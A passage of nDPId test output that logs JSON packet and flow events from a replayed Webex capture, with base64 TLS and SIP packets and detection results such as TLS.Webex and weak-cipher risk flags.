+00411{"flow_id":12,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":401,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570637,"pkt_ts_usec":139625,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAdFAABAGrpHRxd6fCggAAQG7uYqEY\/z4e5wV5lAQ\/\/8nQgAA"} +01055{"flow_id":13,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":402,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570637,"pkt_ts_usec":190409,"pkt_caplen":528,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":528,"pkt_l4_len":494,"pkt":"ABoRAAACABoRAAABCABFAAICc+RAAEAGASwKCAABQER5meEvAbvnI7K6GNxeSlAYTE\/sFAAAFwMBACBj2KWuMLizZq\/V9d6uP+dAWbdnBJaG1zs70Ckbms\/FGRcDAQGwxtBV0yfgiFmcYRFdbhpTaxMGZQMhJ\/vfopEAT\/X4WYpZepxqlglKU1PXPFrcLUwgqmYTJE\/suZaZCrIS8R\/EOQXNLl9z4AMhOmMyyoKyiUwCG0NXpSJtEEhxI5hBktzRMbs+vUFczHPOY6+OQOkBxGBqIfHjUECLz1AmmzgzIfgiOPjHw0E+iojX7MD0ub\/Hpn52yyC9N3pIpUDImWR9apvrwJE86VXCpia3jBMKVzsZND5H7akCJZChEpP7oFEraeV0+M2rDfJItSzvXiE4IxoKuyOvWi368eVahvulA5\/EySsMiXPUoKrQrywQ5e5nFaEVwQ53WaNhuk7bI4Smxc4RPZAJtwT0MN7eoyVnSAjGLd4pWZTzvusdTR4ZQiwajIl8Kz2dpt2DFeBvgCYwXLNY+uELRG+ceubH8mfHrSfxJtXDSz8\/SQ73uiXY5UJJfEDAt45ctUL4tUs84mUsTj6t\/zqAGk3aHQ8Vg6aDZ55tnXRWjIR1SLj1lEzCK9W8jKFY40Mz57n7zFOzugpK7P1EwYC2dlv10eu6YfnfNRVDCnFyZ\/DX5iFol9Y4Gbnz"} +00411{"flow_id":13,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":403,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570637,"pkt_ts_usec":190690,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAdJAABAGpRhARHmZCggAAQG74S8Y3F5K5yO0lFAQ\/\/\/2JAAA"} +04244{"flow_id":16,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":404,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570637,"pkt_ts_usec":190992,"pkt_caplen":2896,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2896,"pkt_l4_len":2862,"pkt":"ABoRAAACABoRAAABCABFAAtCAdNAABAGFzJyHcqLCggAAQG7uAyttewjUkoUHVAY\/\/\/q8wAAFgMBDz4CAAAtAwFWGf83hF5BwwDoHXOk9kWCWOmMl8F88Krjq6Ibjo+iFQAANQAABf8BAAEACwAPBQAPAgAE6TCCBOUwggPNoAMCAQICECl0ianUHkm+YfeBaUbmIfMwDQYJKoZIhvcNAQELBQAwfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDAeFw0xNTA0MTAwMDAwMDBaFw0xODA0MTAyMzU5NTlaMHcxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMREwDwYDVQQHDAhTYW4gSm9zZTEcMBoGA1UECgwTQ2lzY28gU3lzdGVtcywgSW5jLjEMMAoGA1UECwwDQ1NHMRQwEgYDVQQDDAsqLndlYmV4LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJ14yGFLwwhhZyxegl+wYbyZZp5q4NComRXAz+k8ibNrPp+x46qW\/Dt++MdupJ8y605K5KTQVb24unmPF+pZq1par5YBKMjJrJTW2aAI1MtQvRzSDCNhdWyxiP6SkVBm6ZOcLwL+kijn\/nCot5orO1NrHHFG\/HBcSk1aaetoitrjs5BWuMxdYuIZvzSoyViVbo\/w\/LUKXdD0rlOcFmOxtcf+VKb7w1eyku07Jp94m\/\/ILLQS\/jy7ymRyfGFnPLtNqBmUKFg+uAD7JcHZiy8g6quVEhEZdm3O+tUR2wYZ5in9yKcrxqoHwhW0O4X2\/rJ4mNDvikIgaWiSNW7eIoh0NWECAwEAAaOCAWQwggFgMBYGA1UdEQQPMA2CCyoud2ViZXguY29tMAkGA1UdEwQCMAAwDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBlBgNVHSAEXjBcMFoGCmCGSAGG+EUBBzYwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGRoXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcmwwVwYIKwYBBQUHAQEESzBJMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMCYGCCsGAQUFBzAChhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNydDANBgkqhkiG9w0BAQsFAAOCAQEAFNF1YB0fCkEyxRc1VQO7NUZao+PnZuavjgeTnyTKmHl\/4Zxh1Xg\/M\/f\/RHSrGrgUW2xaSZN\/Dwt2hqMtIi\/b\/AgOFeqNKmMxH3nWxf6f1Lr7QoTvApLQGqjeuIT3U6AiRMt4Ksgfx7+1Vbil1AaILo859VgXSMgVJTv4QpUpzg\/EKtUqPwMwq8PvwoTjlewyOt9YbCxNTO91JkKsYuwm7uUeU7Fx+r+rP+wgDwYVbbsUwQXAbj7QOj3dkPLzn+gcrhK1ZlgFf7Ti34xrqj7jNiaMc0dYh\/Ns3KCHMTs5rVCGLIk7lEgovwLDbJtuuQTlvaHoeZIGVPqROi5Bl\/WxAgAFPDCCBTgwggQgoAMCAQICEFE\/uXQ4cLc0QEGNMJMGmf8wDQYJKoZIhvcNAQELBQAwgcoxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDIwMDYgVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNpZ24gQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEc1MB4XDTEzMTAzMTAwMDAwMFoXDTIzMTAzMDIzNTk1OVowfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALLYBcocdC21F1Y5xUpSCZboS9gM8WifmkIoYsOlMFN+VRGCWwN6DS\/heQTJtJZ3GYEBlFn5vPd6mSeCLbeD3Vonf7IDepxTJelIH0ZPyJ0p+L55Vvb3\/dk6aNqLS4IzQRLDyDzM1pZ6hCEaIgQDJxeLHGhhkw8OUYAzHbS1zut+0GKs7rN7AXTvaTXrytU9qe6XmMqNqkQOJZlKFZakzm0CVB8qaibiBjpjSKy0TNF1k1D\/Ey\/W2uHGGPWfySVd8wA63iZNtCkJzQ89I28WSoEW+\/KDEMO41thVMj3xvQ+9jFKVShaXelIhY3UvFvnEZr71tQnY\/ycAzUR8b0s\/sPcCAwEAAaOCAWMwggFfMBIGA1UdEwEB\/wQIMAYBAf8CAQAwMAYDVR0fBCkwJzAloCOgIYYfaHR0cDovL3MxLnN5bWNiLmNvbS9wY2EzLWc1LmNybDAOBgNVHQ8BAf8EBAMCAQYwLwYIKwYBBQUHAQEEIzAhMB8GCCsGAQUFBzABhhNodHRwOi8vczIuc3ltY2IuY29tMGsGA1UdIARkMGIwYAYKYIZIAYb4RQEHNjBSMCYGCCsGAQUFBwIBFhpodHRwOi8vd3d3LnN5bWF1dGguY29tL2NwczAoBggrBgEFBQcCAjAcGhpodHRwOi8vd3d3LnN5bWF1dGguY29tL3JwYTApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRU3ltYW50ZWNQS0ktMS01MzQwHQYDVR0OBBYEFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMB8GA1UdIwQYMBaAFH\/TZafC3ey78DAJ80M5+gKvMzEzMA0GCSqGSIb3DQEBCwUAA4IBAQBelFZJ3Y4tZfXBNlG2A+PannMZ8h9Zq1h+bCYFLPqB11wjFyIsN5P3huyF5rCj\/R\/iMqhFb+HZ+7mv0nCgMkJlv4T+FiqPP8Wm1qOTfUPpdCGRNSj0Y+ku7ff1XH9LmrUg6Qq94EUQDBSUml2l40uR6CSbRkBl9CJyzZn4iBH183\/mM4LmqMV+\/tAI4iVYCHFo5s2i5hTeTlIkLf3leRNT514vLU0bbUAVUiv3h4l4EoFu2U2qLXjUwiw9CF+HkZ4fDrDeMFJkhomqnWacDnYMgPJ02Cr4uDrO19YPEb5rqxT1vUGgImOJ8boPbyljZi0\/rIxyxfvH5NQP8jtPjCnHAATUMIIE0DCCBDmgAwIBAgIQJQzo4DBhLp8rifcFTXz4\/TANBgkqhkiG9w0BAQUFADBfMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xNzA1BgNVBAsTLkNsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDYxMTA4MDAwMDAwWhcNMjExMTA3MjM1OTU5Wg=="} +01119{"flow_id":23,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":405,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570637,"pkt_ts_usec":191189,"pkt_caplen":576,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":576,"pkt_l4_len":542,"pkt":"ABoRAAACABoRAAABCABFAAIy2l1AAEAGqrQKCAABQERpZ6GqAbsG3Rrf+SL2RVAYTO8JFgAAFwMBACBWAIum4T4EHVvA089UX+IVTDw4PGny1oQCQDGvJavKzBcDAQHgZdi0uET0LELiFgxswqixIWcxRoMGf37Ym8hoTi3Vzmmjss6CM1m1giqUf+xK2i3ROz6NijEvSu6v85wtIGQDgJtK635d2BWC7oMJUjWbRWRGybOOqXY82yPqSdm\/3KP1RFpjvGYQGVvu6ZgPik1zPK69zcP9LdOx\/hOWi63kbPVLUCQHR378Qi4C\/yNs3ajqN6XVkuQLsepd\/wXWYr+M9ZLoVWyiebEWbkJGLSqLd2Zbz35BOjbKWDY1BwJKU9XWoAdlyzF8s7i0QvOKT+TI7PVDMsIXWQjn+9e3nkdaGuHQWUcg4dYTXDRj0ZsRrESskIt9bfCBudUjMf\/VJthQVuTT9wEMYKrQhxafLx07ZMSKd48NTUjX53W3+EAuE9gnt05Oj+RkQrhZNPNMiUDK\/M2lzawo7xxdIR+nCLrpOGeficT4k8OsFaw\/iOH79lV7OmTBRcxl5A68PuZSC06Mmf4YOFd\/HeKWuVlH0ZO6THx7ndwCitZZG2tnWr\/5G7a0McI6nA84N4qDMlgV5D1SieJxM8YhTkq+ph\/AVejfyZHJqqam7lCGbnoAasdCqMt\/V4Vki0j7vVrfzkOhcu3CP8k8NvjFvsngr\/oLKk68xPw9mAo5Kq2jZUmTEbStDVGY"} +00410{"flow_id":23,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":406,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570637,"pkt_ts_usec":191363,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAdRAABAGtUhARGlnCggAAQG7oar5IvZFBt0c6VAQ\/\/9FjAAA"} +01056{"flow_id":22,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":407,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570637,"pkt_ts_usec":191588,"pkt_caplen":528,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":528,"pkt_l4_len":494,"pkt":"ABoRAAACABoRAAABCABFAAICY+ZAAEAGIWEKCAABQERpYpEJAbvtraKgElJuhFAYTO9hMgAAFwMBACD22CDOs8BfPgmxeWsfNUhHUZqu\/f1zvWDBKCbiFwJ1ORcDAQGwZON2fqrVig0UeSVfKSUtB054WY1\/ZJhZaEmhVp9yAP6rHKkkGmfVfKAcSImwt548wRKQlD9usyJ+B1uFD\/PSYmEj6BKXx13DuCAgPBCmw9fhkKC\/NA8Eb+9lMpX1B0wqLyLIamLEAR0hGrq+QOAFXXQbOHRw5AlprpyYnPmEfDMeGq1nJRCrlLfxILJ9rKHp3qjrzY2RvX2isXsu6nPapV\/qe4PAf\/3mOdQTTpuVrCzmucUv2SEiHiw396jr2Wfs1HtO\/93Av6iG5+MA8utP5KFzxhb7B4r8l5pfnt3a8CvaKeAwCP8bNnMI31DAZdYyhr4OMyWUpu+0RQEbffygIB5fn2vBympfI61\/KnvaFj+fU8Pj9GhPkG+DRXTdIjtYMTd\/uLFBD\/VwARbhfio3+a5lwmdUskpYPzmrIEJWxVXXJQWVQeJA\/J9slMgGa9qLAYwFceEVA4W4zoYjemZYUochTqIRQlGhJ2rxWsAwhF\/lzGojaxeZLazrj5YQePw6+CzAoSanCNWMRkd0HTkVSYxRIkpgCClJ+QGZ9tOPzAIzb3iIMgxcUYfBJAyn5L\/t"} +00410{"flow_id":22,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":408,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570637,"pkt_ts_usec":191762,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAdVAABAGtUxARGliCggAAQG7kQkSUm6E7a2kelAQ\/\/9WYgAA"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":409,"source":"webex.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1444570637191,"flow_last_seen":0,"flow_tot_l4_data_len":664,"flow_min_l4_data_len":664,"flow_max_l4_data_len":664,"flow_avg_l4_data_len":664,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"172.16.1.75","src_port":64538,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01271{"flow_id":24,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":409,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570637,"pkt_ts_usec":191973,"pkt_caplen":698,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":698,"pkt_l4_len":664,"pkt":"ABoRAAACABoRAAABCABFAAKsAABAAEARgN0KCAABrBABS\/waE8QCmKnIUkVHSVNURVIgc2lwOjE3Mi4xNi4xLjc1O3RyYW5zcG9ydD1VRFAgU0lQLzIuMA0KVmlhOiBTSVAvMi4wL1VEUCAxMC4xMzMuMjA2LjQ3OjY0NTM4O2JyYW5jaD16OWhHNGJLLTUyNDI4Ny0xLS0tM2U0Njk4NjE4Y2ZiMmI3MztycG9ydA0KTWF4LUZvcndhcmRzOiA3MA0KQ29udGFjdDogPHNpcDo0NTE5MUAxMC4xMzMuMjA2LjQ3OjY0NTM4O3JpbnN0YW5jZT03YTQ2ZjFlMTI3MDJlN2ZiO3RyYW5zcG9ydD1VRFA+DQpUbzogPHNpcDo0NTE5MUAxNzIuMTYuMS43NTt0cmFuc3BvcnQ9VURQPg0KRnJvbTogPHNpcDo0NTE5MUAxNzIuMTYuMS43NTt0cmFuc3BvcnQ9VURQPjt0YWc9ZDM4MzM3NjcNCkNhbGwtSUQ6IEtvcExUdzl4c19sRXBDdGlQYTA3YlEuLg0KQ1NlcTogNCBSRUdJU1RFUg0KRXhwaXJlczogNjANCkFsbG93OiBJTlZJVEUsIEFDSywgQ0FOQ0VMLCBCWUUsIE5PVElGWSwgUkVGRVIsIE1FU1NBR0UsIE9QVElPTlMsIElORk8sIFNVQlNDUklCRQ0KU3VwcG9ydGVkOiByZXBsYWNlcywgbm9yZWZlcnN1YiwgZXh0ZW5kZWQtcmVmZXIsIHRpbWVyLCBvdXRib3VuZCwgcGF0aCwgWC1jaXNjby1zZXJ2aWNldXJpDQpVc2VyLUFnZW50OiBab2lwZXIgcjMzNjg4DQpBbGxvdy1FdmVudHM6IHByZXNlbmNlLCBrcG1sDQpDb250ZW50LUxlbmd0aDogMA0KDQo="} +00500{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":409,"source":"webex.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1444570637191,"flow_last_seen":0,"flow_tot_l4_data_len":664,"flow_min_l4_data_len":664,"flow_max_l4_data_len":664,"flow_avg_l4_data_len":664,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"172.16.1.75","src_port":64538,"dst_port":5060,"l4_proto":"udp","ndpi": {"proto":"SIP","breed":"Acceptable","category":"VoIP"}} +00407{"flow_id":16,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":410,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570638,"pkt_ts_usec":197194,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo0S9AAEAGIu8KCAABch3Ki7gMAbtSShQdrbX3PVAQTbZWSgAA"} +01847{"flow_id":16,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":411,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570638,"pkt_ts_usec":198277,"pkt_caplen":1119,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1119,"pkt_l4_len":1085,"pkt":"ABoRAAACABoRAAABCABFAARRAdZAABAGHiByHcqLCggAAQG7uAyttfc9UkoUHVAY\/\/\/a\/wAAMIHKMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAyMDA2IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHNTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAK8kCAgpejWeYAyq50s7Ttx8vDxFHLsr4P4pAvlXCKNkhRUn9fGtyDGJXSLoKqqmQrOP+LlVt7G3S7P+j34HV+zvQ9tmYhVhz2ANpNje+ODDYgg9VBPrScpZVIUm5SuPG5\/r9aGRwjNJ2ENjalJL0o\/ocFFN0Ylpe8dw9rPcEnTbe11LVtOWvxV3obD0oiXyrxySZxjl9AYE75C55ADk3Tq1Gf8CuvQ87uCL6zeL7PTXrPL28D2v3XWRMxkdHEDLdCQZIZPZFP6sKlLHj9UESeSNY0eIPGmDy\/5HvSt+T8WVrg6d1NFDwGdz4xQIfuU\/n3O4MwrPXT80h5aK7lPoJRUCAwEAAaOCAZswggGXMA8GA1UdEwEB\/wQFMAMBAf8wMQYDVR0fBCowKDAmoCSgIoYgaHR0cDovL2NybC52ZXJpc2lnbi5jb20vcGNhMy5jcmwwDgYDVR0PAQH\/BAQDAgEGMD0GA1UdIAQ2MDQwMgYEVR0gADAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy52ZXJpc2lnbi5jb20vY3BzMB0GA1UdDgQWBBR\/02Wnwt3su\/AwCfNDOfoCrzMxMzBtBggrBgEFBQcBDARhMF+hXaBbMFkwVzBVFglpbWFnZS9naWYwITAfMAcGBSsOAwIaBBSP5dMahqyNjmvDz4Bq1EgYLHsZLjAlFiNodHRwOi8vbG9nby52ZXJpc2lnbi5jb20vdnNsb2dvLmdpZjA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLnZlcmlzaWduLmNvbTA+BgNVHSUENzA1BggrBgEFBQcDAQYIKwYBBQUHAwIGCCsGAQUFBwMDBglghkgBhvhCBAEGCmCGSAGG+EUBCAEwDQYJKoZIhvcNAQEFBQADgYEAEwLd+OiGAPJa+PggDFmIYgfOzvdO+btZoZjl4TjdTrxmGNOt6xjyDcltPkqUIMM8ur1lVMavRLMQrSxrPqvXB7a4gWPF+V4u5Spnzs0zDCrXiVYDIx+zvug6CFm07EU194pb\/2bPUK\/GbVeNGXi3uaLRV+ofmkuvusmOEn7Gvf8OAAAA"} +01112{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":411,"source":"webex.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":8,"flow_first_seen":1444570636252,"flow_last_seen":1444570638198,"flow_tot_l4_data_len":4150,"flow_min_l4_data_len":20,"flow_max_l4_data_len":2862,"flow_avg_l4_data_len":518,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"114.29.202.139","src_port":47116,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.webex.com","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"91589ea825a2ee41810c85fab06d2ef6","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=us, ST=California, L=San Jose, O=Cisco Systems, Inc., OU=CSG, CN=*.webex.com","fingerprint":"61:C9:DE:EE:FA:AE:DC:17:A0:36:B9:68:F9:17:F6:5A:90:7B:14:E1"}} +05675{"flow_id":20,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":412,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570638,"pkt_ts_usec":199485,"pkt_caplen":3961,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":3961,"pkt_l4_len":3927,"pkt":"ABoRAAACABoRAAABCABFAA9rAddAABAGFYVyHcgLCggAAQG7uuGRntLdbmEtY1AY\/\/+AEAAAFgMBDz4CAAAtAwFWGmYSW0EiuvKB8G4duX+mVQdIp5xJ8dkxayHOG+eykgAANQAABf8BAAEACwAPBQAPAgAE6TCCBOUwggPNoAMCAQICECl0ianUHkm+YfeBaUbmIfMwDQYJKoZIhvcNAQELBQAwfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDAeFw0xNTA0MTAwMDAwMDBaFw0xODA0MTAyMzU5NTlaMHcxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMREwDwYDVQQHDAhTYW4gSm9zZTEcMBoGA1UECgwTQ2lzY28gU3lzdGVtcywgSW5jLjEMMAoGA1UECwwDQ1NHMRQwEgYDVQQDDAsqLndlYmV4LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJ14yGFLwwhhZyxegl+wYbyZZp5q4NComRXAz+k8ibNrPp+x46qW\/Dt++MdupJ8y605K5KTQVb24unmPF+pZq1par5YBKMjJrJTW2aAI1MtQvRzSDCNhdWyxiP6SkVBm6ZOcLwL+kijn\/nCot5orO1NrHHFG\/HBcSk1aaetoitrjs5BWuMxdYuIZvzSoyViVbo\/w\/LUKXdD0rlOcFmOxtcf+VKb7w1eyku07Jp94m\/\/ILLQS\/jy7ymRyfGFnPLtNqBmUKFg+uAD7JcHZiy8g6quVEhEZdm3O+tUR2wYZ5in9yKcrxqoHwhW0O4X2\/rJ4mNDvikIgaWiSNW7eIoh0NWECAwEAAaOCAWQwggFgMBYGA1UdEQQPMA2CCyoud2ViZXguY29tMAkGA1UdEwQCMAAwDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBlBgNVHSAEXjBcMFoGCmCGSAGG+EUBBzYwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGRoXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcmwwVwYIKwYBBQUHAQEESzBJMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMCYGCCsGAQUFBzAChhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNydDANBgkqhkiG9w0BAQsFAAOCAQEAFNF1YB0fCkEyxRc1VQO7NUZao+PnZuavjgeTnyTKmHl\/4Zxh1Xg\/M\/f\/RHSrGrgUW2xaSZN\/Dwt2hqMtIi\/b\/AgOFeqNKmMxH3nWxf6f1Lr7QoTvApLQGqjeuIT3U6AiRMt4Ksgfx7+1Vbil1AaILo859VgXSMgVJTv4QpUpzg\/EKtUqPwMwq8PvwoTjlewyOt9YbCxNTO91JkKsYuwm7uUeU7Fx+r+rP+wgDwYVbbsUwQXAbj7QOj3dkPLzn+gcrhK1ZlgFf7Ti34xrqj7jNiaMc0dYh\/Ns3KCHMTs5rVCGLIk7lEgovwLDbJtuuQTlvaHoeZIGVPqROi5Bl\/WxAgAFPDCCBTgwggQgoAMCAQICEFE\/uXQ4cLc0QEGNMJMGmf8wDQYJKoZIhvcNAQELBQAwgcoxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDIwMDYgVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNpZ24gQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEc1MB4XDTEzMTAzMTAwMDAwMFoXDTIzMTAzMDIzNTk1OVowfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALLYBcocdC21F1Y5xUpSCZboS9gM8WifmkIoYsOlMFN+VRGCWwN6DS\/heQTJtJZ3GYEBlFn5vPd6mSeCLbeD3Vonf7IDepxTJelIH0ZPyJ0p+L55Vvb3\/dk6aNqLS4IzQRLDyDzM1pZ6hCEaIgQDJxeLHGhhkw8OUYAzHbS1zut+0GKs7rN7AXTvaTXrytU9qe6XmMqNqkQOJZlKFZakzm0CVB8qaibiBjpjSKy0TNF1k1D\/Ey\/W2uHGGPWfySVd8wA63iZNtCkJzQ89I28WSoEW+\/KDEMO41thVMj3xvQ+9jFKVShaXelIhY3UvFvnEZr71tQnY\/ycAzUR8b0s\/sPcCAwEAAaOCAWMwggFfMBIGA1UdEwEB\/wQIMAYBAf8CAQAwMAYDVR0fBCkwJzAloCOgIYYfaHR0cDovL3MxLnN5bWNiLmNvbS9wY2EzLWc1LmNybDAOBgNVHQ8BAf8EBAMCAQYwLwYIKwYBBQUHA